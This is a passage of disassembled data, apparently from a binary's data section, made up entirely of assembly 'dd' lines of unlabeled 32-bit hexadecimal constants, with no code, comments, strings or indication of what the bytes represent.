		dd 86390B1Ah, 0C0F2019Ah, 0D7BEBA02h, 2905A43h,	2F36A1A3h
		dd 1866006Ah, 421DFE97h, 821C965Ah, 3FE23220h, 90B40348h
		dd 108C363Ch, 46319BF4h, 8C416249h, 0C09EA2F8h,	17CA7C2h
		dd 89EA3DE3h, 26408683h, 5688E292h, 8CC17C5Ch, 50B1AB9Ch
		dd 680806F0h, 4503FF77h, 4942F4F8h, 0FD483048h,	97786288h
		dd 0CC6818CAh, 92FF1E3Eh, 6C868203h, 8FABA2F5h,	0F80A8CE0h
		dd 2E333302h, 312A71C0h, 7B1F8806h, 950CF54Eh, 0EBB65899h
		dd 8918208Ch, 8C62F1E8h, 41B15210h, 3CF2AF54h, 7884102h
		dd 6222F42h, 0C234C8CCh, 0E40DB071h, 0FDDD08F9h, 0E2D2E1E3h
		dd 0DEB462F0h, 907E1818h, 0C8DF0B22h, 1F6D8A0Fh, 82082718h
		dd 280A097h, 8E166E0h, 4230C8A0h, 7B2208AFh, 2418CC29h
		dd 7132E228h, 821CD894h, 0A2D2A288h, 415142A0h,	0F88D8628h
		dd 0D3709C02h, 2219E0FEh, 0B618B7ABh, 880818C7h, 6B38A865h
		dd 1849A2E8h, 0B001F324h, 1D21237Fh, 0B5753D6h,	21001D4Bh
		dd 6D7B1E8Eh, 0FA5A39h,	89C56984h, 320EDDh, 0F83547B0h
		dd 6FB29CEFh, 7E956D00h, 2179CC8Dh, 9D100756h, 70B05836h
		dd 0C7F03402h, 5EFF1115h, 9D9E8020h, 8086753Ah,	0F31FA0ECh
		dd 9305056h, 374525D9h,	44487B70h, 0F6373CC6h, 577220A8h
		dd 17338C1Dh, 0A6527080h, 0A5E33058h, 0C13C801Ch, 7FA4A577h
		dd 70AC8D0Ch, 29DEC01Fh, 0E05C58A9h, 2C97774Bh,	64C5D40h
		dd 0D057192Ah, 0B053383Ah, 6F698038h, 0C4F3D3DAh, 0FAB6C38h
		dd 7003CA70h, 1025D5D0h, 56DAABh, 329CBD0Ch, 0C2897330h
		dd 3404A408h, 0B80C749Eh, 7930634Ah, 0E860202Ch, 740F5E41h
		dd 6102130Fh, 690A6AAh,	209EE4CCh, 59746501h, 5ACBF030h
		dd 0F848BFE0h, 0EDA31D50h, 0E92F0E57h, 605F9086h, 668B888Dh
		dd 0D9820CD0h, 0A08031ECh, 5E048448h, 0BF570688h, 0D1DC96h
		dd 329F488Ch, 4531ACD0h, 0A9DD9015h, 6F25E0FCh,	0EC6A01F3h
		dd 4ACDA78h, 0B078809Bh, 0DDD056F4h, 1F5A74CFh,	558B3D4h
		dd 6D325E3Ah, 0F9BFC494h, 79665C03h, 0A0254CDAh, 6C9B045h
		dd 18D0336Eh, 0E528D03Dh, 153A8C7Fh, 0C3100C81h, 7C2D2830h
		dd 61BE8E6h, 7C7032A1h,	3E72D09Ah, 7EF05A0Eh, 400F9FD1h
		dd 8D5002CEh, 0EEDCBC04h, 7DA21950h, 0F46CE030h, 701D3371h
		dd 0BD3B84ECh, 4E0867A9h, 0FA1082AFh, 1D0056Fh,	0F2D9F0F0h
		dd 440CD156h, 12A46CB6h, 9B03CC11h, 0F0D20C18h,	6B649C50h
		dd 0D0044508h, 74F002E0h, 66E056Fh, 70C1B0F4h, 6825D034h
		dd 0A6AF86Ch, 53E68B02h, 32C08B0h, 0DCCE300Ah, 24DF009h
		dd 8E1E9000h, 456849Ch,	4E063C9Eh, 51E945A9h, 3070CC20h
		dd 10485BD0h, 5A4294EEh, 91C1B446h, 10CD62CAh, 1D659DECh
		dd 64A89033h, 0A0E715CCh, 0F43CD3F0h, 8C41DE61h, 70923EA0h
		dd 0AB807C80h, 3920D26Ch, 3A413CACh, 7C8D9015h,	2CA013B3h
		dd 5C9AFC01h, 0C1707556h, 0D2ED245Fh, 48746C10h, 4D50B53Ah
		dd 0E5FEF038h, 6C1A2029h, 0B5460CA0h, 6C6B302Bh, 1AC11960h
		dd 0B22C8817h, 0F0467D09h, 10180712h, 0C882D314h, 0F8A448C1h
		dd 0C608C519h, 54B40618h, 0E21D2827h, 0DB0E4544h, 0D2B8922Bh
		dd 62FDF040h, 2E8A102Fh, 0E38D2040h, 97486498h,	150378F8h
		dd 7CB0561Ch, 2F90A006h, 0C010C41Bh, 0CA0CC38Dh, 805C0851h
		dd 3EF15008h, 7438305Bh, 0D270183Ah, 0E5D7A036h, 4FF0570Eh
		dd 530B9FECh, 0A80C01C2h, 0D05B3260h, 1D729505h, 0CC80400Ah
		dd 0B046E655h, 87EFA37h, 70838167h, 50C1F495h, 10303901h
		dd 505F4D54h, 487A8BE0h, 54375824h, 0ACE9188Ah,	4F47709h
		dd 0C891A498h, 0E898F317h, 0DF100851h, 435094A0h, 0F0385498h
		dd 1644BE78h, 7804D96Ah, 74814E6Fh, 36D25E05h, 207B7A75h
		dd 0C4FCD944h, 9F8E10D0h, 2C9E0108h, 81EA751Ah,	0A4CAD061h
		dd 749F5F88h, 838EBA02h, 59239518h, 370247Bh, 609423C8h
		dd 0CE813F25h, 28D0F259h, 0F02CB837h, 0FD44B8B6h, 241A2C83h
		dd 0F88448F9h, 7D1180F6h, 82188E0Ch, 9B6820F5h,	804940CAh
		dd 3A79FEF8h, 0DC592AC5h, 50405A31h, 0D0088AB5h, 0E0FB844Eh
		dd 401DF6E0h, 0A760CCF3h, 9C403038h, 0ADB0E3Dh,	3F203BAAh
		dd 25A9F0B7h, 0FB3FB47Ch, 7BF72CBFh, 0C7E05600h, 182247Eh
		dd 3D9A2B37h, 0D046BF1Bh, 9B63DEBBh, 0E0450E08h, 0A1C7893Bh
		dd 58BA0BB6h, 6E31B21h,	18A48093h, 0D7821827h, 51BB9048h
		dd 0BA984766h, 80EAE858h, 1A3A115Bh, 981F0F56h,	0C85EC659h
		dd 5B33308h, 814A478h, 0B0383EBBh, 3E047919h, 82BC5CCDh
		dd 9B681CB1h, 2843EFCFh, 0C0708354h, 11FEA24h, 9A484C97h
		dd 36382198h, 31FF739Ch, 0B739D481h, 1ED9853Fh,	8C6C5895h
		dd 70AE19B1h, 0A057391Fh, 6A006CA0h, 0A7FAEABCh, 121700Eh
		dd 2F834D6Dh, 0DCD03863h, 0A0F08A18h, 674ECD00h, 0D40EA1F0h
		dd 11CA5FDh, 9A8E156Ch,	0CE118077h, 1AE9445Bh, 2A4E0FDFh
		dd 0AE462B6Eh, 8E4408C1h, 0EFC405EEh, 2CF04EA1h, 4A0D112Ch
		dd 48418BFFh, 0A6CCAED9h, 2F5F03EEh, 346E8E20h,	10C2B6A7h
		dd 670EA9FEh, 78084ED3h, 0F0D25A08h, 87BD036Eh,	8AF88EA7h
		dd 8B6DAEA0h, 0B3012EF0h, 69CECDC0h, 2370D00Eh,	79C27868h
		dd 47E0E99Dh, 1FAEF004h, 16CC6038h, 0E3EEA0CBh,	0EE0EBC74h
		dd 86D01CB6h, 31B83A13h, 0A3083741h, 5D6EE03Ch,	55708960h
		dd 292ECD95h, 0F0A4EF78h, 0D0B7A09Bh, 186A0001h, 0D165D8AAh
		dd 9C7C96Eh, 2E8064F4h,	32C3E098h, 8E601CAEh, 1F641434h
		dd 0CA182822h, 254EA8F3h, 0B1821CADh, 48896886h, 509A6A0Ch
		dd 0AF3EA852h, 0F3CF8EE0h, 7060E646h, 24848A24h, 18C216F8h
		dd 68D6B5CAh, 0DF1BBD2Ah, 0A2D9CEC3h, 347C1EF1h, 67577410h
		dd 0EEF54A0Ah, 0EF66D068h, 843C722Ah, 0F0A0AFFEh, 68A4794Eh
		dd 21C49300h, 4852E5C9h, 8E240097h, 0BF90E7ABh,	0E1004294h
		dd 5F532D0h, 0ACB16FFh,	9C24B6E5h, 119EE01Ch, 1540B023h
		dd 5C42081h, 0F43FCD03h, 1D621965h, 0C61E230h, 5082125h
		dd 0C5184563h, 0F4111CEAh, 0D3A58A04h, 15625834h, 5CD83Fh
		dd 0B7A14291h, 2005F42Bh, 50870439h, 0A15F1903h, 41D90138h
		dd 5F68792h, 9C2502FEh,	442F0438h, 69DD284h, 31386E61h
		dd 65E0D925h, 1E8C5FFEh, 0D798F2DEh, 2030141h, 73E5FB8Ch
		dd 749ECB15h, 8F31330Dh, 0B3FB3908h, 0E62014AEh, 861498ADh
		dd 7E3EA4B1h, 0E850ED40h, 7867FC80h, 821F6320h,	55DE3A5h
		dd 1DB41EA4h, 84E12040h, 5EDC4508h, 1A37B683h, 80EE558h
		dd 0CABDC05h, 9B091CACh, 8A76D0A9h, 60165021h, 22EEC8D0h
		dd 0C131C725h, 7165F8A0h, 6BD0D807h, 40397CF7h,	39C8E14Bh
		dd 60B4A3C5h, 3C7DE36Bh, 77813E40h, 12D8C66Fh, 4363C092h
		dd 12FD8548h, 47CB2508h, 4F31A850h, 0D8680F0Ah,	510AE0Eh
		dd 0A10A3772h, 1AA8085Eh, 3CB63868h, 917F2C3Fh,	0B831BD07h
		dd 5359A598h, 8786988h,	7599FE64h, 3B803087h, 0FFE5F534h
		dd 3002985Fh, 3C73E334h
		dd 80BC6100h, 728523C9h, 0EE3E2DE0h, 0D1944101h, 0C34827D6h
		dd 0D996F6E7h, 0CA0094B3h, 0C52BC878h, 0CDE08052h, 0DDCCC1B3h
		dd 4DF5369h, 8149C528h,	200F4550h, 7742544h, 815E9980h
		dd 5203F290h, 6B102478h, 87F3F8D4h, 3EE9A110h, 96F8E10Ch
		dd 0B35018A0h, 7092E588h, 7C9C2F48h, 25C45F50h,	600509CDh
		dd 1004981Fh, 54041C2h,	7C6C0D81h, 0B03C0C4Fh, 11115171h
		dd 7DFE6700h, 81702041h, 0A09862BBh, 404AE6Ch, 2846409Fh
		dd 3AC7900h, 57CE85ABh,	58BA2D30h, 7B8FAFA1h, 0E6672605h
		dd 0DD450C08h, 0FA787708h, 0E4662502h, 0F3D85F6h, 0DB7C5C8Ah
		dd 55EB81Eh, 410434E9h,	4A008D86h, 0AA45F4FBh, 9EA560C3h
		dd 60C5C02Ch, 30F67CE2h, 9170F58Dh, 251DF054h, 183E4F5Ch
		dd 0C7104D2Eh, 5F115BCh, 0F0F6F064h, 205C4B11h,	0F9E66181h
		dd 0BA202105h, 8F8390F0h, 6E998832h, 0B4068A0Fh, 68ACC51Fh
		dd 65A07B98h, 8876347h,	0B81F3FC3h, 0E500DD2Dh,	5FA57EEh
		dd 843669Ch, 651F108Dh,	85041023h, 0D0811B84h, 0D820F66Eh
		dd 0E8E16F67h, 28862F49h, 0E5191875h, 0A01019DBh, 4D858041h
		dd 94F0BE61h, 44F14CB9h, 5000186Fh, 0A0A5F7BCh,	0C8E82C93h
		dd 0E2DA6E08h, 0FC84FD01h, 8E5527E5h, 0FA61C806h, 10F54011h
		dd 2A389C48h, 9933841Ch, 74DA182Bh, 404F2810h, 4A983284h
		dd 888F13A0h, 0FA585C83h, 943E29A1h, 0F888408h,	8542A785h
		dd 80066525h, 20F0BE05h, 0A50E37E5h, 8AF1BAC2h,	0A394F8BDh
		dd 0A4650980h, 0C6040451h, 68850081h, 0D48027h,	50786324h
		dd 9265D121h, 0F849A3B0h, 80A826FCh, 0A6E534D8h, 0DFB082D0h
		dd 0C90DF486h, 0C041AE31h, 7C073E39h, 650E5C8h,	0B73265DCh
		dd 235DC816h, 500F2A36h, 84F1A712h, 9C8A15B5h, 70DBEE84h
		dd 844F0C1h, 0F9B045FAh, 4C487820h, 22EBAC80h, 0A5408574h
		dd 0C8E462E1h, 0F4825545h, 0A8A41DE5h, 0C2248A96h, 90867D3Eh
		dd 0A0A68128h, 485085A4h, 0CB14101Ch, 0BBA8CC15h, 9242653h
		dd 3E50FA1h, 26E8BCBCh,	3CC4CC98h, 0F8C43328h, 0B01A5091h
		dd 6508C59Fh, 2B44C3Fh,	98620508h, 4919C5C8h, 54323394h
		dd 9727EB0h, 417E44A4h,	0CB62ACA5h, 6160982Eh, 98904C63h
		dd 7247124h, 8A02B565h,	0CAAEF8A8h, 113F546h, 0E51F048Eh
		dd 0C5708A69h, 44302DF3h, 9039C421h, 38E14868h,	9F53F6ACh
		dd 0B5C11240h, 30C5C002h, 3F4C054Fh, 6201288h, 841D3409h
		dd 8B876504h, 9EC2543h,	15E20508h, 0FE053415h, 2821F594h
		dd 4060C181h, 49D06445h, 25388147h, 2945F32h, 0D69DE1A1h
		dd 0AE344806h, 8990CEF7h, 30E35079h, 0DD51A5CCh, 2981BD8h
		dd 366DBBC0h, 0DC144905h, 6D39D9B4h, 2B95CC90h,	248C0B7Bh
		dd 0FB10DD61h, 0F153707Fh, 0FB011C1Ch, 0C478B6A5h, 77E43B70h
		dd 0B03C6F79h, 205A8570h, 15C1178Ch, 50A2FC7Eh,	7858C5C8h
		dd 0E0A51584h, 0E46226C0h, 0A3BDE50Bh, 0E1A08210h, 1C27F385h
		dd 0E17BA8D8h, 50A34D84h, 65701D30h, 574FCD5h, 0B0556C28h
		dd 8B60686Eh, 0AA340FB4h, 6DF868A1h, 61C5845Dh,	0C14B81h
		dd 6495E5h, 0C2D2F116h,	0E744C3B4h, 0C5F0024Bh,	48F85072h
		dd 850888DAh, 0F2164E36h, 3E2EC849h, 0E3E0C864h, 0B8D8A150h
		dd 48FAE284h, 0BA77D438h, 0F7183220h, 9CBEA308h, 1FDD8C2h
		dd 94413086h, 0B8E28E40h, 0D4653738h, 0AC3E97D8h, 9CA271E0h
		dd 0D424D442h, 79A8D132h, 0D6D09A4Fh, 0B7863E8h, 53DD0510h
		dd 7D88B805h, 87052B4h,	0A8617498h, 0B9C5B4A0h,	289C0D58h
		dd 2514B059h, 28AC064Eh, 0C519B0D7h, 0D9109D18h, 93889464h
		dd 880E8E8h, 1E2044Dh, 2518408Ch, 28F0BA03h, 54B491A1h
		dd 582AF864h, 0F313FC94h, 3810828Bh, 354484C0h,	0EB2B08C4h
		dd 0A1822CC1h, 5AE9092h, 0C1416510h, 4476A510h,	6688588h
		dd 0D007C500h, 1890057Bh, 58814512h, 1893CC0Ch,	464F165h
		dd 0E498927Ah, 63389029h, 0A0E508F7h, 34C5202Eh, 0DD142586h
		dd 0D4CB5048h, 0E5564065h, 749CB05Ch, 4443462Eh, 4019DA17h
		dd 8924238h, 0E88C4C1Eh, 0F24A6568h, 93F3008h, 0C182D145h
		dd 0F8829EC5h, 7860F305h, 8C28985h, 6193AE5h, 653028E8h
		dd 0E7851084h, 9C18C92Fh, 47093841h, 1107C680h,	62452D40h
		dd 0EA250808h, 0E0786502h, 0BA4F057Ch, 93664DCh, 83901A5Ch
		dd 0E068E534h, 7757A0Ah, 305A0BF8h, 3BCD8F90h, 8DE3D010h
		dd 8062F1F1h, 559E9A08h, 3251A31h, 57486663h, 0C1E03360h
		dd 0D9006D87h, 9651D4DBh, 0AD0DB2h, 8A5F30E2h, 0FF26B3D6h
		dd 77103A1Ch, 82B51C3Ah, 61165A0Ch, 0E6A0624h, 207D2D1Ah
		dd 8804530h, 1D0F55B4h,	76E43BAh, 8259CADAh, 3A00A47Ah
		dd 300CC798h, 9A1091FAh, 8CC5823h, 6DDA3879h, 9C70102Fh
		dd 871BA28h, 3087FD7Ah,	415475FAh, 4392101Ah, 818E084h
		dd 0EA117C5Ah, 74FAF893h, 8EF280D1h, 880220D2h,	9E40DA31h
		dd 0FA530484h, 6015B6CFh, 7383B76h, 24F5DAFFh, 0F3004E0Eh
		dd 0EED85A33h, 0E60808C0h, 40E41A0Bh, 21656AE7h, 880356B8h
		dd 8181DC7Ah, 8A8F49Ah,	19C8DD26h, 99DC099Eh, 9AA1DAA8h
		dd 0F910D45Eh, 43588BAh, 0C0C37F96h, 0FFCC864Ah, 25A15A03h
		dd 0E9D7A0Eh, 0ED36FAA8h, 65881A89h, 8B6700B0h,	96BC7A0Bh
		dd 0E05E98CAh, 104FFA0Ch, 0A8D1605Ah, 0C35037Ah, 0D3746BF0h
		dd 0A0F81A37h, 27F1A08Ah, 36A18F0Dh, 6788D98Fh,	6CBA0880h
		dd 64DA0C1Eh, 3A382374h, 2C0EA941h, 4721F8ECh, 0E956008Ch
		dd 31DA32D7h, 0E90E723Ah, 0DCC07427h, 0C2264A7Bh, 0D8BB11C0h
		dd 0A9D757F9h, 1027C7F4h, 145FFAC0h, 4550725Ah,	5CAD4CBCh
		dd 9E5EFE81h, 84523A97h, 81509D8Bh, 0F007F870h,	0F670898Ch
		dd 6103E88h, 93E265C4h,	16457036h, 0F51F680Fh, 0A8D28808h
		dd 50E9B60Ah, 395B0076h, 0CBEB2F43h, 54EA568Bh,	20851092h
		dd 0B0AB7E60h, 95B619Ah, 850BF738h, 0DBF3F810h,	85031006h
		dd 30060029h, 0FFB8EBC7h, 6900E5B2h, 29E3CF52h,	73359BB9h
		dd 0ED28A05Eh, 700C0032h, 0A8B16394h, 3E308AD4h, 89F680Eh
		dd 75B707Bh, 684BC849h,	6FB000F0h, 96902558h, 5F00B7F2h
		dd 0E4BCF571h, 0F30B1Fh, 6B1C6E70h, 0C3B4D0E3h,	0DBF4C80Fh
		dd 0FB7F20DEh, 0D84B72h, 5E03C5C6h, 1059499Ah, 211CD909h
		dd 2530007Dh, 1206E9Dh,	97463FC5h, 0C4F493B2h, 3A00FC80h
		dd 0BEFEB78Eh, 7942C47h, 0B12E4FB9h, 87D2D0DCh,	8224FA76h
		dd 9600A215h, 31367B30h, 744800CBh, 89A07DB3h, 7E0FDCFBh
		dd 204EFA29h, 318F43C1h, 6A14003Bh, 0AFB9E0E6h,	0B6002D01h
		dd 4424F4E7h, 30EB165h,	48648FDFh, 0FBE06710h, 0A003C155h
		dd 57DA81FEh, 2165F89Dh, 9E2800E5h, 1A20A7FFh, 8E0323AEh
		dd 92F9AD0Fh, 48B61Ch, 732A2FCAh, 99C64143h, 6E01887Ah
		dd 375E515Bh, 9FEC024Fh, 1B2900D2h, 0EE50B087h,	0A907BA6Ch
		dd 0C820CE32h, 0E2B1B780h, 4BDA0F5Bh, 0E9C0C27Ch, 0E3156542h
		dd 82EE6000h, 7009724Ch, 1ED50058h, 899D4690h, 8B006A59h
		dd 0DEECF3D1h, 0C6FB48h, 4E2D8DF2h, 217ED24Fh, 0FCBF2700h
		dd 1101AC02h, 0FEF7289h, 95257A58h, 76B02FC0h, 0B6060C72h
		dd 3A9630BDh, 0E5750019h, 0DA71B4E1h, 8BF86656h, 1AAB3100h
		dd 64CE7C59h, 263000E9h, 774275D3h, 3700A265h, 0BC228020h
		dd 0F16C62h, 72BB0BAFh,	0A3EDBAD4h, 80B0BF3Bh, 3D11CF7Ch
		dd 7E47A74Ah, 8A060163h
		dd 0F4EE7D22h, 346A103Eh, 67140384h, 857A2876h,	9912ACB0h
		dd 0EF03FCF6h, 62B1EB3Ch, 0F170CF2Bh, 0BF5CCA3Dh, 0CFA0DB00h
		dd 5AF2C43Bh, 0FD893301h, 8E4FEDB6h, 3E18DCh, 44B2EF25h
		dd 7AA2B07Eh, 8E193839h, 122F21C8h, 0FD8B4100h,	0F9E3585h
		dd 0E3433A57h, 14492A23h, 5D6F11B8h, 1D3FE80Fh,	0B478CADAh
		dd 35745200h, 99A925h, 6C38D1F4h, 1B8BC9A0h, 8031983Fh
		dd 5B47A6DAh, 0EC4FD058h, 44E7005Ch, 723CAB6Ah,	0C5F0D5D3h
		dd 80DB0A3Fh, 3F7842F0h, 74A91C2Bh, 76E00EEh, 0DE3BBC27h
		dd 3A010A15h, 2FCDC460h, 0F1E4A069h, 0A19CA01Dh, 58742824h
		dd 0F72D0010h, 0EB514953h, 650003EDh, 0E5DFA7B8h, 986206h
		dd 0FAC75822h, 9D94634h, 0B4738100h, 0AE59E692h, 31E70F0Dh
		dd 8F00EC48h, 10D64163h, 1F241E79h, 69B3248Dh, 19F580B2h
		dd 0BF0A1C9Dh, 0C54580B4h, 0FAC8E8CAh, 0DE424600h, 3DC364AAh
		dd 0E5010712h, 1FDF939Dh, 53FEAB20h, 0B6005E05h, 0DA80FC22h
		dd 0ECD1D93Ch, 90A51DCFh, 0C9BE8068h, 70692813h, 0A0B64A00h
		dd 255C4E5Ah, 74900B0h,	2313DEFCh, 0F8A2168Dh, 0B4E98A40h
		dd 0E0C3D13Eh, 1B9003A8h, 0D2522408h, 22210C0Ah, 0A0002888h
		dd 0D1542534h, 0C0027C13h, 8C1B2459h, 0E204C2B3h, 17C72C78h
		dd 0FCCF4880h, 0DC62031Eh, 1A4652Bh, 0AB4D96B8h, 5D353E00h
		dd 85120D9Eh, 0C2D601E6h, 876B69Ah, 0BE19E049h,	1B3E250Ah
		dd 0E809C38h, 104BE12Eh, 0E6A20108h, 0A4FD9147h, 8449C47Fh
		dd 1CD8BF24h, 7EC3E91Eh, 0A899FFDDh, 3CA724CDh,	0A538D65Ch
		dd 80A63580h, 0C2CA04Ah, 0C6B07B00h, 4B67EC54h,	5E3938D0h
		dd 30E7F82h, 28487DAAh,	6CA01860h, 8460D286h, 7FB93318h
		dd 5CFC006Ch, 37054C28h, 0FF00F01Ch, 0D242DC56h, 1C973E0Dh
		dd 80405B66h, 5F0278CBh, 9C00EF30h, 54A1A4B9h, 7DE942CFh
		dd 41F624h, 0B8062D48h,	58937092h, 0DB153F09h, 9B44B08Ah
		dd 446700D1h, 0C093AD51h, 3009DFEh, 0F788B281h,	0E9E4916h
		dd 0B335961Dh, 0B7368C80h, 37005A33h, 0DCCCA2CAh, 1D848FA8h
		dd 0F0ACDD09h, 0C09481D9h, 0FFAD3000h, 32439C9Dh, 9B4B00A2h
		dd 6B2B5BD3h, 0F7787812h, 8EEC470Ah, 7900D490h,	22F092B0h
		dd 6F3101B7h, 0F9C6F559h, 604E80DCh, 8E70E477h,	4D660E25h
		dd 22605A1Fh, 87BB12EBh, 0C60150E8h, 11EA19DFh,	8034A9C0h
		dd 0E1C81EBCh, 68261Fh,	8671083Eh, 4B765622h, 4660B114h
		dd 0AD52C0D0h, 35A739Fh, 0AC4879E2h, 9001AFA5h,	610B8012h
		dd 10300228h, 3AB203EDh, 0DE29B116h, 8990F904h,	70900541h
		dd 0DB3B867h, 5203F9BFh, 20EC258Ch, 6C093D34h, 81611C23h
		dd 0E4784EE8h, 24216AF8h, 7A4E855h, 2201B239h, 6048E1C0h
		dd 1000689Bh, 46FCA6C3h, 5285B3B4h, 691FE80Ah, 764E43C4h
		dd 0EFC835AEh, 8900F2D7h, 5EC7203Ch, 30B4E344h,	736116D0h
		dd 0A4A04AD3h, 1007C8A0h, 0FBD73324h, 8C775151h, 404644Ch
		dd 8EE4D8E7h, 0EF78C31Ah, 0FA0E8880h, 0EB4AA307h, 500868Ah
		dd 0C0E376B2h, 15B078E9h, 5D0058ABh, 49E7C16Bh,	128C7AA6h
		dd 40656174h, 0D16A7FE4h, 100EDE4h, 98DB7909h, 0A02445h
		dd 83BFEB4Eh, 35C7AC4h,	0C129D416h, 411EA461h, 57C48FCh
		dd 36B707FEh, 0C6A81F66h, 0C156852Fh, 98F7EA38h, 0B870CAA4h
		dd 0FEF3393Eh, 0AD995F80h, 0FB535D31h, 66FA2302h, 0CB6110C3h
		dd 39A90800h, 7E0203F4h, 6119A66Dh, 0C5FD403Dh,	10F6FCh
		dd 5EB1D627h, 225177C9h, 3DB0F250h, 8065401h, 15C8E1E7h
		dd 0ECF07430h, 40340001h, 0A92F833h, 0A8A02158h, 67058006h
		dd 7651F9A5h, 7F020D8h,	5D686E25h, 0DB58C02Bh, 3C7974A5h
		dd 8F47AA00h, 91B036D3h, 279706FFh, 0B0F5C82Dh,	0D83AA900h
		dd 41B3EA69h, 4440ED42h, 0BC3957h, 221670B7h, 4D3ABDB1h
		dd 1DE17600h, 0BBDE5FF2h, 9CD4070Fh, 207D3589h,	0B16193FFh
		dd 7AA8451Dh, 85CA9743h, 2998B011h, 0E9900BCh, 55CC2F1h
		dd 9BFCBBFAh, 0E4AD2B00h, 0A332B1F0h, 2F8C1842h, 0D20B2817h
		dd 0E7769B00h, 0F39646Bh, 84928Dh, 0F49D373Bh, 205FEC91h
		dd 6F55707h, 0CBE0DD16h, 49BEAEh, 0CF17501Fh, 5E99A896h
		dd 0A5F9880Bh, 4A94823Fh, 218B8065h, 3921397h, 1705D61h
		dd 603E7B42h, 12CC0715h, 7309EC8h, 0E7AA5B2h, 0DA174602h
		dd 4472AA81h, 77967074h, 20BE9A24h, 0EB201D00h,	0E1122BAEh
		dd 13302D21h, 1B5901D5h, 0CA72B8ADh, 2DC02038h,	936FAA00h
		dd 5CD54111h, 0A76500DEh, 37016CAEh, 50926DA5h,	330B10E6h
		dd 85248305h, 0ECD0276Ch, 606344h, 0F76A75B8h, 1093A9B5h
		dd 64861B2Ch, 8024E0A1h, 0EE00A021h, 82B3B9DAh,	0C741009Ah
		dd 6E04BB60h, 6B60116Fh, 3B470271h, 6D1A0020h, 3382AC3Ah
		dd 0CB60FC3Eh, 0E558A6B9h, 509BE1h, 5BFAC672h, 0CB273D6h
		dd 0EA8CF802h, 832178F3h, 0B5D8C688h, 46B39000h, 3164D0h
		dd 97130935h, 0DE630217h, 0F226D916h, 7BCAC15h,	22E00C48h
		dd 88801CE4h, 933F4FFCh, 0AC0700B8h, 3E2C1B35h,	15C61204h
		dd 90A0428Fh, 2D060E1Eh, 81A0F1D6h, 0B1651085h,	0CD7D124h
		dd 0CE560502h, 64CD404Fh, 0A2EE0703h, 0A03EDA42h, 88EBA347h
		dd 4A8A6051h, 0F2E200F0h, 91811129h, 61B3CD7h, 2B509881h
		dd 0C1BE904Ah, 0B2407476h, 56411214h, 63C00B2h,	0F1AA0E43h
		dd 6472BCh, 0DAE60B19h,	730CD4A1h, 13C050FFh, 392CB018h
		dd 705010ECh, 0CD7DC9h,	8CC7150Bh, 0E1717DC6h, 674691C7h
		dd 7A862561h, 0E2914880h, 0A731081Ah, 4692EB00h, 53EC2737h
		dd 0A2ED18FDh, 0DAB058C6h, 23913300h, 35C74EA8h, 4298348Bh
		dd 90C834E8h, 74034C10h, 0E61F8C00h, 3DF41630h,	84FE130Fh
		dd 2B4C011Ch, 624A03D1h, 46416074h, 3E27F622h, 0ED3F3E07h
		dd 0DB778E0h, 0F201C5F4h, 96BFF980h, 2EECC633h,	2E1B0A5h
		dd 0A9D302ABh, 8C43E2ECh, 154461A8h, 0A8BBD400h, 34F71C55h
		dd 0E8F09A8Bh, 0AC705CEDh, 0E05CE02Ch, 205EA617h, 8F95E309h
		dd 87B8A02Ah, 435B4Eh, 8AF5EA8Dh, 9C217BC1h, 0ED7E800h
		dd 4BDFE8Ch, 0B0C4F8A6h, 129A76C6h, 0CA7C70FFh,	0EF8B0080h
		dd 2578F12Ch, 7F9F0053h, 0A108CF10h, 1C00094Bh,	96245487h
		dd 42084DDh, 0C692A09Ch, 142C8039h, 0B400BD27h,	0FD21F089h
		dd 921BBE03h, 3E067AF0h, 3D26792Ah, 0E2E40084h,	1F75AB29h
		dd 1ACC5303h, 0D0E5809Bh, 53C35BB2h, 7724B886h,	1C944990h
		dd 0F02EC300h, 6A2CC9BCh, 0FF7ED7h, 0BFC1DF3Ah,	0F7B54D10h
		dd 0CAE8FA0Eh, 0E044368Ch, 2CC81360h, 3A97034Eh, 0BC237957h
		dd 7BD9AA0h, 0FCD0C501h, 41420A8Ch, 32CAC440h, 0F37D149Bh
		dd 2700F819h, 0F452E976h, 0A80B7B6Bh, 106C5F02h, 43EA398h
		dd 60318436h, 0D2E0B117h, 0E6D484A0h, 0E7098697h, 32B9FA4Eh
		dd 0BD08C04Ch, 0E0083FF9h, 55CED180h, 46BA4CF0h, 2F1D1004h
		dd 4888AEBBh, 94321023h, 0D2AC0E51h, 0D4F7809Fh, 9FE0D7Fh
		dd 7BC92C55h, 788C688Bh, 0AE04AD88h, 0B8F2D14Dh, 88BAAC90h
		dd 409A002Ah, 775A0DAAh, 0A7F04B0Eh, 64008CA6h,	5DB8CCA5h
		dd 3A45B6EDh, 776EF76h,	1E56F18Eh, 0B4B0A16Dh, 9A0EDC42h
		dd 0E3376900h, 47ACA189h, 29067EB3h, 1949530h, 0A044F512h
		dd 31DAFD9Eh, 5C68EC60h, 4B4A700h, 43511642h, 0EE901F31h
		dd 73418A30h, 79360480h, 0AC00136Dh, 0AF6ED115h, 8AEA0ED4h
		dd 0B48042E7h, 0C368E11Fh
		dd 1CA68C2Ch, 7E49A422h, 9224888h, 612BDB37h, 0F6FC9E34h
		dd 0B7D8055Bh, 43E670C9h, 21EAD3C8h, 6C06C7C0h,	0BC07B54Ah
		dd 0D2D04C76h, 918A8EE1h, 55950328h, 0BD80DBF8h, 1059483h
		dd 2CC8F1B4h, 748DD8D0h, 65D89C73h, 47FCC0E5h, 0EF30E119h
		dd 0D1F498Bh, 59B2487Eh, 8C062F00h, 0E3E4B803h,	0A9F4230Ch
		dd 30E0DEh, 0E2965158h,	0C15F8C50h, 37ED0900h, 5417F24Ch
		dd 0D4C80F5Ah, 3540600Eh, 0ED6E363Fh, 1B74C500h, 2CF2494Bh
		dd 728607D8h, 20E33DFDh, 6F9C81E5h, 4F0070F6h, 95685D2Eh
		dd 4C0525E8h, 2100BC67h, 1E935A94h, 0AD0C2627h,	90AA3369h
		dd 824A000Fh, 0CF819850h, 0BA03962Eh, 5A4B0B49h, 744E986Ch
		dd 0FA750079h, 0D04523E7h, 0ECE7731Bh, 0A500DE3Eh, 49CA4E12h
		dd 98E69Eh, 0AD4CBF5Dh,	63A7BA2Dh, 0AAE8EE4Bh, 58729300h
		dd 92201B82h, 70319814h, 19760080h, 4B93348Bh, 9E7107EBh
		dd 0C0F67FB8h, 0AD3256Ch, 8070683Eh, 8503A887h,	2E166Eh
		dd 91C0994Ch, 56A31F4Ah, 0E8C2F50h, 73C7DC18h, 0FBDD058h
		dd 2BE783C4h, 95323600h, 33000D72h, 46210F26h, 865392h
		dd 8DC3D43h, 1334C440h,	0D5CE9100h, 1E65CC0Eh, 53680F41h
